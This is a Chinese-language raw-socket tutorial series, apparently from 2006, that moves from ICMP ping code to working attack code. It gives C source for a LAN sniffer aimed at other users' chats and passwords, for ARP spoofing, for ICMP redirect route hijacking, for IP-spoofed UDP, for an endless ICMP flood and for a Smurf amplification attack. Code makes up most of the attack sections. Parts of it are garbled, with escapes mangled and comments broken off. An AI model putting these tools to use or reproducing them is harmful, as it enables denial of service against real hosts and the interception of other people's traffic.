&RcvIpHdrLen); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; DisplayError ("Receive","CIcmp::Receive"); return Result; } icmpRcvLen = Result; pIpHeader = (LPIpHeader)pIcmpBuffer; RcvIpHdrLen = pIpHeader->HeaderLength * 4; if (Result < RcvIpHdrLen + ICMP_MIN) { // // Too few bytes received // MessageBox(NULL, "Short message!", "CIcmp::Receive", MB_OK|MB_SYSTEMMODAL); icmpSocketErrorMod = 2; return Result; } pIcmpHeader = (LPIcmpHeader)(pIcmpBuffer + RcvIpHdrLen); icmpCurId = pIcmpHeader->IcmpId; icmpRoundTripTime = icmpPingReceivedAt - pIcmpHeader->IcmpTimestamp; if (pIcmpHeader->IcmpType != ICMP_ECHOREPLY) { // // Not an echo response! // return Result; } icmpCurSeq = pIcmpHeader->IcmpSeq;
return Result; }
異步通知主窗口:
int CIcmp::SetAsynchNotification(HWND hWnd, unsigned int Message, long Events) { int Result = WSAAsyncSelect (icmpSocket,hWnd, Message, Events); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; icmpSocket = INVALID_SOCKET; } return Result; }
設置TTL:
int CIcmp::SetTTL(int TTL) { int Result; Result = setsockopt (icmpSocket, IPPROTO_IP, IP_TTL, (LPSTR)&TTL, sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketErrorMod = 1; icmpSocketError = WSAGetLastError(); } return Result; }
Ping命令的函數:
int CIcmp::Ping (LPSTR pIcmpBuffer, int DataLen) { int Result; int IcmpBufferSize = DataLen + IcmpHeaderLength; pIcmpHeader = (LPIcmpHeader)pIcmpBuffer; memset (pIcmpBuffer, 'E', IcmpBufferSize);
memset (pIcmpHeader, 0, IcmpHeaderLength); pIcmpHeader->IcmpType = ICMP_ECHO; pIcmpHeader->IcmpCode = 0; pIcmpHeader->IcmpChecksum = 0; pIcmpHeader->IcmpId = icmpCurId; pIcmpHeader->IcmpSeq = icmpCurSeq; pIcmpHeader->IcmpTimestamp = GetCurrentTime(); pIcmpHeader->IcmpChecksum = IcmpChecksum ((USHORT FAR *)pIcmpBuffer,IcmpBufferSize); icmpPingSentAt = GetCurrentTime(); Result = sendto (icmpSocket, pIcmpBuffer, IcmpBufferSize, 0, (LPSOCKADDR)&icmpSockAddr, sizeof icmpSockAddr); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; } return Result; }
原始套接字透析之實現sniffer
大家知道,以太網采用廣播機制,所有與網絡連接的工作站都可以看到網絡上傳遞的數據。通過查看包含在幀中的目標地址,確定是否進行接收或放棄。如果證明數據確實是發給自己的,工作站將會接收數據并傳遞給高層協議進行處理。但是,如果讓網卡置于混雜模式(Promiscuous mode),則網卡不會鑒別幀的MAC地址,而是一律接收。
上圖給出了以太網的幀格式,網卡是通過圖中的MAC地址進行ID標識的。傳說中的網絡嗅探(sniffer)就是指讓網卡進入混雜模式從而接收正在局域 網總線上發送的所有報文。為什么能夠嗅探到局域網上的所有報文,是因為基于IEEE 802.3的以太網在MAC層采用廣播方式發送幀。因此,從理論上來講,我們可以編寫黑客程序監聽局域網上的所有信息。QQ、MSN監聽軟件就是基于這一機理的,它可以監聽局域網上所有用戶的QQ、MSN聊天記錄。 為了實現sniffer,我們應首先讓網卡進入混雜模式并建立和設置原始套接字為親自處理報頭:
//初始化SOCKET WSADATA wsaData; iErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData); CheckSockError(iErrorCode, "WSAStartup"); SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); CheckSockError(SockRaw, "socket"); //獲取本機IP地址 char name[MAX_HOSTNAME_LAN]; iErrorCode = gethostname(name, MAX_HOSTNAME_LAN); CheckSockError(iErrorCode, "gethostname"); struct hostent *pHostent; pHostent = (struct hostent*)malloc(sizeof(struct hostent)); pHostent = gethostbyname(name); SOCKADDR_IN sa;
sa.sin_family = AF_INET; sa.sin_port = htons(6000); memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); iErrorCode = bind(SockRaw, (PSOCKADDR) &sa, sizeof(sa)); CheckSockError(iErrorCode, "bind"); //設置SOCK_RAW為SIO_RCVALL,以便接收所有的IP包 DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; iErrorCode = WSAIoctl(SockRaw, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen) , &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned, NULL, NULL); CheckSockError(iErrorCode, "Ioctl");
下面就可以接收并處理IP報文:
//偵聽IP報文 while (1) { memset(RecvBuf, 0, sizeof(RecvBuf)); iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0); CheckSockError(iErrorCode, "recv"); iErrorCode = DecodeIpPack(RecvBuf, iErrorCode); CheckSockError(iErrorCode, "Decode"); }
Sniffer程序接收到報文后,即可調用相應的程序來分析具體的報文。 對于sniffer我們不得不說的是,僅僅將網卡置于混雜模式并不能保證我們能嗅探到交換式局域網上的所有幀,因為交換式局域網已經不再是廣播式/總線傳輸了,為了能嗅探到交換式局域網上的幀,我們需要采用另一項技術ARP欺騙。
原始套接字透析之實現包分析
緊接上節,DecodeIpPack()函數完成包的解析:
//IP包解析 int DecodeIpPack(char *buf, int iBufSize) { IP_HEADER *pIpheader;
int iProtocol, iTTL; char szProtocol[MAX_PROTO_TEXT_LEN]; char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN]; SOCKADDR_IN saSource, saDest; pIpheader = (IP_HEADER*)buf; //Check Proto iProtocol = pIpheader->proto; strncpy(szProtocol, CheckProtocol(iProtocol), MAX_PROTO_TEXT_LEN); if ((iProtocol == IPPROTO_TCP) && (!ParamTcp)) return true; if ((iProtocol == IPPROTO_UDP) && (!ParamUdp)) return true; if ((iProtocol == IPPROTO_ICMP) && (!ParamIcmp)) return true; //Check Source IP saSource.sin_addr.s_addr = pIpheader->sourceIP; strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); if (strFromIpFilter) if (strcmp(strFromIpFilter, szSourceIP)) return true; //Check Dest IP saDest.sin_addr.s_addr = pIpheader->destIP; strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN); if (strDestIpFilter) if (strcmp(strDestIpFilter, szDestIP)) return true; iTTL = pIpheader->ttl; //Output printf("%s ", szProtocol); printf("%s->%s ", szSourceIP, szDestIP); printf("bytes=%d TTL=%d ", iBufSize, iTTL); //Calculate IP Header Length int iIphLen = sizeof(unsigned long)*(pIpheader->h_lenver &0xf); //Decode Sub Protocol:TCP, UDP, ICMP, etc switch (iProtocol) { case IPPROTO_TCP: DecodeTcpPack(buf + iIphLen); break; case IPPROTO_UDP: DecodeUdpPack(buf + iIphLen);
break; case IPPROTO_ICMP: DecodeIcmpPack(buf + iIphLen); break; default: break; } return true; }
上述程序解析IP包類型后又分別調用DecodeTcpPack()、DecodeUdpPack()、DecodeIcmpPack()解析相應的TCP報文、UDP報文和ICMP報文。
//TCP報文解析 int DecodeTcpPack(char *TcpBuf) { TCP_HEADER *pTcpHeader; int i; pTcpHeader = (TCP_HEADER*)TcpBuf; printf("Port:%d->%d ", ntohs(pTcpHeader->th_sport), ntohs(pTcpHeader->th_dport)); unsigned char FlagMask = 1; for (i = 0; i < 6; i++) { if ((pTcpHeader->th_flag) &FlagMask) printf("%c", TcpFlag[i]); else printf("-"); FlagMask = FlagMask << 1; } printf("/n"); return true; } //UDP報文解析 int DecodeUdpPack(char *UdpBuf) { UDP_HEADER *pUdpHeader; pUdpHeader = (UDP_HEADER*)UdpBuf; printf("Port:%d->%d ", ntohs(pUdpHeader->uh_sport), ntohs(pUdpHeader->uh_dport)); printf("Len=%d/n", ntohs(pUdpHeader->uh_len)); return true; }
//ICMP報文解析 int DecodeIcmpPack(char *IcmpBuf) { ICMP_HEADER *pIcmpHeader; pIcmpHeader = (ICMP_HEADER*)IcmpBuf; printf("Type:%d,%d ", pIcmpHeader->i_type, pIcmpHeader->i_code); printf("ID=%d SEQ=%d/n", pIcmpHeader->i_id, pIcmpHeader->i_seq); return true; }
上述程序分析了具體的TCP、UDP和ICMP報頭,解析出源地址、目標地址、源端口、目標端口、ICMP控制信息類型和代碼等。當然,我們也可以進一步分析報文的數據域,或進行應用層解析,從而可獲知任何信息(如果信息未采用任何加密手段),包括: 1. 局域網上的其他用戶在訪問什么網站; 2. 局域網上的其他用戶在QQ、MSN上發送和接收什么內容; 3. 局域網上的用戶網絡游戲的游戲信息; 4. 沒有加密的銀行卡賬戶、密碼等。
原始套接字透析之ARP欺騙
2006-11-17 07:00 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
ARP欺騙的原理可簡單的解釋如下:假設有三臺主機A,B,C位于同一個交換式局域網中,監聽者處于主機A,而主機B,C正在通信。現在A希望能嗅探到 B->C的數據,于是A就可以偽裝成C對B做ARP欺騙--向B發送偽造的ARP應答包,應答包中IP地址為C的IP地址而MAC地址為A的MAC 地址。 這個應答包會刷新B的ARP緩存,讓B認為A就是C,說詳細點,就是讓B認為C的IP地址映射到的MAC地址為主機A的MAC地址。這樣,B想要發送給C 的數據實際上卻發送給了A,就達到了嗅探的目的。我們在嗅探到數據后,還必須將此數據轉發給C,這樣就可以保證B,C的通信不被中斷。以上就是基于ARP 欺騙的嗅探基本原理,在這種嗅探方法中,嗅探者A實際上是插入到了B->C中,B的數據先發送給了A,然后再由A轉發給C,其數據傳輸關系如下所 示: B----->A----->C B<----A<------C Windows系統中緩存了目前的MAC地址與IP地址之間的映射,通過arp -a命令可以獲得,如下圖:
筆者的電腦IP地址為192.168.1.2,通過網關192.168.1.1到達公網。當某人用"網絡剪刀手"或"網絡執法官"一類的軟件給 筆者發送偽造的ARP報文后,筆者的Windows會緩存一個錯誤的網關MAC地址。由于IP包最終要通過MAC地址尋址到192.168.1.1網關進 行轉發,而本機對192.168.1.1 MAC地址的記錄已經是錯的了,這樣,IP包將無法到達網關,筆者將不能再連接Internet,這就是惱人的"網絡剪刀手"的工作原理。如果受到了惡意 的ARP欺騙,我們只需要將網關的IP地址與MAC地址在本機靜態綁定,運行如下命令: ARP -s 192.168.1.1 00-33-44-57-17-a3 再看看此時的ARP緩存:
192.168.1.1一項由dynamic變成了static。 實現ARP欺騙最重要的是要組建一個ARP報文并發送給要欺騙的目標主機,下面的源代碼演示了這個過程:
#define EPT_IP 0x0800/* type: IP*/ #define EPT_ARP 0x0806/* type: ARP */ #define EPT_RARP 0x8035/* type: RARP */ #define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */ #define ARP_REQUEST 0x0001/* ARP request */ #define ARP_REPLY 0x0002/* ARP reply */ #define Max_Num_Adapter 10 #pragma pack(push, 1) typedef struct ehhdr { unsigned chareh_dst[6]; /* destination ethernet addrress */ unsigned chareh_src[6]; /* source ethernet addresss */ unsigned shorteh_type; /* ethernet pachet type*/ } EHHDR, *PEHHDR; typedef struct arphdr { unsigned shortarp_hrd; /* format of hardware address */ unsigned shortarp_pro; /* format of protocol address */ unsigned chararp_hln; /* length of hardware address */ unsigned chararp_pln; /* length of protocol address */ unsigned shortarp_op; /* ARP/RARP operation */ unsigned chararp_sha[6]; /* sender hardware address */ unsigned longarp_spa; /* sender protocol address */ unsigned chararp_tha[6]; /* target hardware address */ unsigned longarp_tpa; /* target protocol address */ } ARPHDR, *PARPHDR; typedef struct arpPacket { EHHDRehhdr; ARPHDRarphdr; } ARPPACKET, *PARPPACKET;
#pragma pack(pop) int main(int argc, char *argv[]) { static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600]; char MacAddr[6]; LPADAPTERlpAdapter; LPPACKETlpPacket; WCHARAdapterName[2048]; WCHAR *temp, *temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; int AdapterNum = 0; int nRetCode, i; //Get The list of Adapter if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!/n"); return 0; } temp = AdapterName; temp1 = AdapterName; i = 0; while ((*temp != '/0') || (*(temp - 1) != '/0')) { if (*temp == '/0') { memcpy(AdapterList[i], temp1, (temp - temp1) *2); temp1 = temp + 1; i++; } temp++; } AdapterNum = i; for (i = 0; i < AdapterNum; i++)
wprintf(L "/n%d- %s/n", i + 1, AdapterList[i]); printf("/n"); //Default open the 0 lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]); //取第一個網卡 if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx/n", nRetCode); return 0; } lpPacket = PacketAllocatePacket(); if (lpPacket == NULL) { printf("/nError:failed to allocate the LPPACKET structure."); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)) { printf("Get Mac address error!/n"); } memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf("Get Mac address error!/n"); return 0; } memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址) ARPPacket.ehhdr.eh_type = htons(EPT_ARP); ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(ARP_REPLY); if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)) { printf("Get Mac address error!/n"); return 0; } memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf("Get Mac address error!/n"); return 0; } memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目標A的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP地址 memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket)); PacketInitPacket(lpPacket, szPacketBuf, 60); if (PacketSetNumWrites(lpAdapter, 2) == FALSE) { printf("warning: Unable to send more than one packet ina single write ! / n "); } if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) { printf("Error sending the packets!/n"); return 0; } printf("Send ok!/n"); // close the adapter and exit PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter);
return 0; }
上述程序中使用了著名的開放項目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API,項目網址為:http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到 Windows下的產物,工作于驅動(Driver)層,能以很高的效率進行網絡操作。其提供的packet.dll中包含了多個功能強大的函數,我們聊舉幾例: LPPACKET PacketAllocatePacket(void); 如果運行成功,返回一個_PACKET結構的指針,否則返回NULL。成功返回的結果將會傳送到PacketReceivePacket()函數,接收來自驅動的網絡數據報。 LPADAPTER PacketOpetAdapter(LPTSTR AdapterName); 打開一個網絡適配器。 VOID PacketCloseAdapter(LPADAPTER lpAdapter); 關閉參數中提供的網絡適配器,釋放相關的ADAPTER結構。 VOID PacketFreePacket(LPPACKET lpPacket); 釋放參數提供的_PACKET結構。 BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize); 返回可以得到的網絡適配器列表及描述。 BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync); 從NPF驅動程序讀取網絡數據報及統計信息。 數據報編碼結構: |bpf_hdr|data|Padding|bpf_hdr|data|Padding| BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync); 發送一個或多個數據報的副本。 我們用Depends工具打開pakcet.dll,如下圖:
目前,網絡剪刀手、網絡執法官的軟件在底層都用到了Winpcap。本節的例程代碼中,看不到關于socket的內容,實際上已經在Winpcap中實現了。Winpcap的源代碼可以直接在http://www.winpcap.org/下載。
原始套接字透析之實現路由欺騙
2006-11-15 08:00 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
Windows系統保持著一張已知的路由器列表,我們可以使用route PRINT命令顯示路由表,下面是筆者的電腦運行route PRINT命令后的結果:
列表中到達某目的節點的第一項Gateway為默認路由器,如果默認路由器關閉,則位于列表第二項的路由器成為缺省路由器。缺省路由向發送者報告另一條 到特定主機的更短路由,就是ICMP重定向。攻擊者可利用ICMP重定向報文破壞路由,并偽裝成路由器截獲所有到某些目標網絡或全部目標網絡的IP數據 包,進行竊聽。 顯然,前文中我們只是講解了發送ICMP Ping命令,可以編寫更加通用的函數以便發送各種類型的ICMP報文。下面給出了美國北卡羅萊納大學(University of North Carolina)計算機系的開放源代碼的發送各類ICMP報文的程序:
// icmp:發送各類ICMP報文 icmp(type, code, dst, pa1, pa2) short type, code; IPaddr dst; char *pa1, *pa2; { struct ep *pep; struct ip *pip;
struct icmp *pic; Bool isresp, iserr; IPaddr src; int i, datalen; IcmpOutMsgs++; pep = icsetbuf(type, pa1, &isresp, &iserr); if (pep == 0) { IcmpOutErrors++; return SYSERR; } pip = (struct ip*)pep->ep_data; pic = (struct icmp*)pip->ip_data; datalen = IC_HLEN; /* we fill in the source here, so routing won't break it */ if (isresp) { if (iserr) { if (!icerrok(pep)) { freebuf(pep); return OK; } blkcopy(pic->ic_data, pip, IP_HLEN(pip) + 8); datalen += IP_HLEN(pip) + 8; } icsetsrc(pip); } else pip->ip_src = ip_anyaddr; pip->ip_dst = dst; pic->ic_type = (char)type; pic->ic_code = (char)code; if (!isresp) { if (type == ICT_ECHORQ) pic->ic_seq = (int)pa1; else pic->ic_seq = 0;
pic->ic_id = getpid(); } datalen += icsetdata(type, pip, pa2); pic->ic_cksum = 0; pic->ic_cksum = cksum(pic, datalen); ipsend(dst, pep, datalen, IPT_ICMP, IPP_INCTL, IP_TTL); return OK; } // icsetdata:根據報文類型填充相應的數據 int icsetdata(type, pip, pa2) int type; struct ip *pip; char *pa2; { struct icmp *pic = (struct icmp *)pip->ip_data; int i, len; switch (type) { case ICT_ECHORP: len = pip->ip_len - IP_HLEN(pip) - IC_HLEN; if (isodd(len)) pic->ic_data[len] = 0; /* so cksum works */ return len; case ICT_DESTUR: case ICT_SRCQ: case ICT_TIMEX: pic->ic_mbz = 0; /* must be 0 */ break; case ICT_REDIRECT: pic->ic_gw = (IPaddr)pa2; break; case ICT_PARAMP: pic->ic_ptr = (char) pa2; for (i=0; i<IC_PADLEN; ++i) pic->ic_pad[i] = 0; break; case ICT_MASKRP: blkcopy(pic->ic_data, &pa2, IP_ALEN); break; case ICT_ECHORQ: if ((int)pa2 > ECHOMAX(pip)) pa2 = (char *)ECHOMAX(pip);
for (i=0; i<(int)pa2; ++i) pic->ic_data[i] = i; return (int)pa2; case ICT_MASKRQ: blkcopy(pic->ic_data, &ip_anyaddr, IP_ALEN); return IP_ALEN; } return 0; }
而下面的代碼則顯示了計算機在收到ICMP redirect報文后的行為:
// icredirect:處理接收到的ICMP redirect報文,刷新路由緩存 int icredirect(pep) struct ep *pep; { struct route *prt; struct ip *pip, *pip2; struct icmp *pic; IPaddr mask; pip = (struct ip*)pep->ep_data; pic = (struct icmp*)pip->ip_data; pip2 = (struct ip*)pic->ic_data; if (pic->ic_code == ICC_HOSTRD) mask = ip_maskall; else netmask(mask, pip2->ip_dst); prt = rtget(pip2->ip_dst, RTF_LOCAL); if (prt == 0) { freebuf(pep); return OK; } if (pip->ip_src == prt->rt_gw) { rtdel(pip2->ip_dst, mask); rtadd(pip2->ip_dst, mask, pic->ic_gw, prt->rt_metric, prt->rt_ifnum,IC_RDTTL); } rtfree(prt); freebuf(pep); return OK; }
University of North Carolina完整的ICMP代碼下載地址為:http://www.cs.unc.edu/~dewan/242/s00/xinu-pentium/icmp/
原始套接字透析之實現IP地址欺騙
由于使用Raw Socket的時候,IP報頭可完全由程序員自定義,所以我們可以任意地修改本地發送包的IP地址,使得接收方錯誤的認為IP報文是由欺騙地址發出的。 下面的程序演示了向某目標發送IP地址偽裝的UDP報文的過程:
void sendPesuoIpUDP(void) { WSADATA wsd; if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { printf("WSAStartup() failed: %d ", GetLastError()); return; } SOCKET s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,WSA_FLAG_OVERLAPPED); // Create a raw socket if (s == INVALID_SOCKET) { printf("WSASocket() failed: %d ", WSAGetLastError()); return - 1; } BOOL bOpt = TRUE; int ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*) &bOpt, sizeof(bOpt)); // 使用IP_HDRINCL if (ret == SOCKET_ERROR) { printf("setsockopt(IP_HDRINCL) failed: %d ", WSAGetLastError()); return - 1; } const int BUFFER_SIZE = 80; char buffer[BUFFER_SIZE]; const char *strMessage = "treat demo"; // Message to send // Set IP header IP_HDR ipHdr; UDP_HDR udpHdr;
const unsigned short iIPSize = sizeof(ipHdr) / sizeof(unsigned long); const unsigned short iIPVersion = 4; ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize; ipHdr.ip_tos = 0; // IP type of service const unsigned short iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + strlen(strMessage); ipHdr.ip_totallength = htons(iTotalSize); // Total packet len ipHdr.ip_id = 0; // Unique identifier: set to 0 ipHdr.ip_offset = 0; // Fragment offset field ipHdr.ip_ttl = 128; // Time to live ipHdr.ip_protocol = 0x11; // Protocol(UDP) ipHdr.ip_checksum = 0; // IP checksum const char *target_ip_address = "192.168.0.102"; const char *treat_ip_address = "1.0.5.7"; ipHdr.ip_destaddr = inet_addr(target_ip_address); // 接收方IP地址 ipHdr.ip_srcaddr = inet_addr(treat_ip_address); // 發送方偽造的IP地址 // Set UDP header const u_short uToPort = 8000; udpHdr.dst_portno = htons(uToPort); // 接收方端口 const u_short uFromPort = 1000; udpHdr.src_portno = htons(uFromPort); // 發送偽造的端口 const unsigned short iUdpSize = sizeof(udpHdr) + strlen(strMessage); udpHdr.udp_length = htons(iUdpSize); udpHdr.udp_checksum = 0; // 組建待發送的UDP報文 ZeroMemory(buffer, BUFFER_SIZE); char *ptr = buffer; memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr); memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr); memcpy(ptr, strMessage, strlen(strMessage));
// Apparently, this SOCKADDR_IN structure makes no difference. // Whatever we put as the destination IP addr in the IP header is what goes. // Specifying a different destination in remote will be ignored. sockaddr_in remote; remote.sin_family = AF_INET; remote.sin_port = htons(8000); remote.sin_addr.s_addr = inet_addr("192.168.0.102"); printf("TO %s:%d ", target_ip_address, uToPort); ret = sendto(s, buffer, iTotalSize, 0, (SOCKADDR*) &remote, sizeof(remote)); // 發送偽造的報文 if (ret == SOCKET_ERROR) { printf("sendto() failed: %d ", WSAGetLastError()); } else printf("sent %d bytes ", ret); closesocket(s); WSACleanup(); return; }
如果我們在第4節描述的ICMP FLOOD攻擊中偽造IP地址,則對方將無法檢測出究竟是誰在對其進行攻擊,實際上,這也是一種非常常用的黑客攻擊中隱藏自身的途徑。
原始套接字透析之ICMP拒絕服務攻擊
2006-11-14 16:32 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
拒絕服務攻擊(DoS)企圖通過使被攻擊的計算機資源消耗殆盡從而不能再提供服務,拒絕服務攻擊是最容易實施的攻擊行為。中美黑客大戰中的中國黑客一般對美進行的就是拒絕服務攻擊,其技術手段大多不夠高明。 ICMP實現拒絕服務攻擊的途徑有二:一者"單刀直入",一者"借刀殺人"。具體過程分析如下: ICMP FLOOD攻擊 大量的 ICMP消息發送給目標系統,使得它不能夠對合法的服務請求做出響應。中美黑客大戰中的多數中國黑客采用的正是此項技術。ICMP FLOOD攻擊實際上是一種兩敗俱傷的攻擊方式,在主機"瘋狂"地向攻擊目標發送ICMP消息的時候,主機也在消耗自身的系統資源。如果自身的網絡資源小 于目標的話,這種攻擊就是"蚍蜉撼大樹"。因此,ICMP FLOOD攻擊為了達到很好的效果,往往要聯合多臺機器同時攻擊同一臺機器,從而形成分布式拒絕服務攻擊(DDoS)。 調用下面的程序可實現ICMP Flood攻擊:
int icmpFlood(int PacketSize, char *DestIp, int type, int code) { int datasize, ErrorCode; int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0; char SendBuf[65535] = { 0 }; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; if (PacketSize > 65500) { return FALSE; } if (type > 16) { return FALSE; } if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
{ return FALSE; } if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { return FALSE; } ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut)); if (ErrorCode == SOCKET_ERROR) { return FALSE; } printf("Starting.../n/n"); memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_addr.s_addr = inet_addr(DestIp); icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq = 999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf + sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize); datasize = sizeof(icmp_header) + PacketSize; while (1) { printf("Sending 1024 packets.../n"); for (counter = 0; counter < 1024; counter++) { ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode == SOCKET_ERROR) printf("/nSend Error:%d/n", GetLastError());
} } if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); return TRUE; }
ICMP SMURF 攻擊者向許多地址發送ICMP Echo Request,但是它卻告訴這些地址ICMP Echo Request不是它自己發的,而是"某某"發的,這個"某某"就會成為"眾矢之的"。通過偽裝目的主機的IP地址,向多個IP 網絡的廣播地址發送ICMP Echo Request數據包,使得目的主機需要消耗大量CPU 資源和有效帶寬來處理來自眾多節點的ICMP Reply數據包。該攻擊的原理如下圖: 從圖中可以看出,帶寬僅為128Kbps的攻擊者可以擊潰帶寬比其更大(512Kbps)的目標,因為ICMP SMURF采用的手段是"借刀殺人"!它本身并不向目標發送ICMP消息,而是向許多遠程主機"誣告"攻擊目標向他們發送了ICMP Echo,于是這些遠程主機紛紛向攻擊目標發送ICMP Reply,導致攻擊目標崩潰。有明一代名將袁崇煥督師就是因為滿人的反間計而被崇禎凌遲,并被當時的北京市民爭其肉而食的。網絡攻擊中的"借刀殺人"照 樣威力無窮。 一個實現ICMP SMURF的程序框架如下:
void icmpSmurf(void) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192); //… memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); //… x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '/n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '/n') buf[i] = '/0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s/n/n", argv[2]); exit( - 1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024/n/n"); exit( - 1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit( - 1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)/n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("/n/n"); return 0; }
其中調用的smurf()函數為:
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr*)packet; icmp = (struct icmphdr*)(packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr*) &sin, sizeof(struct sockaddr)); free(packet); }
洪水攻擊原理及代碼實現全攻略(附源代碼)
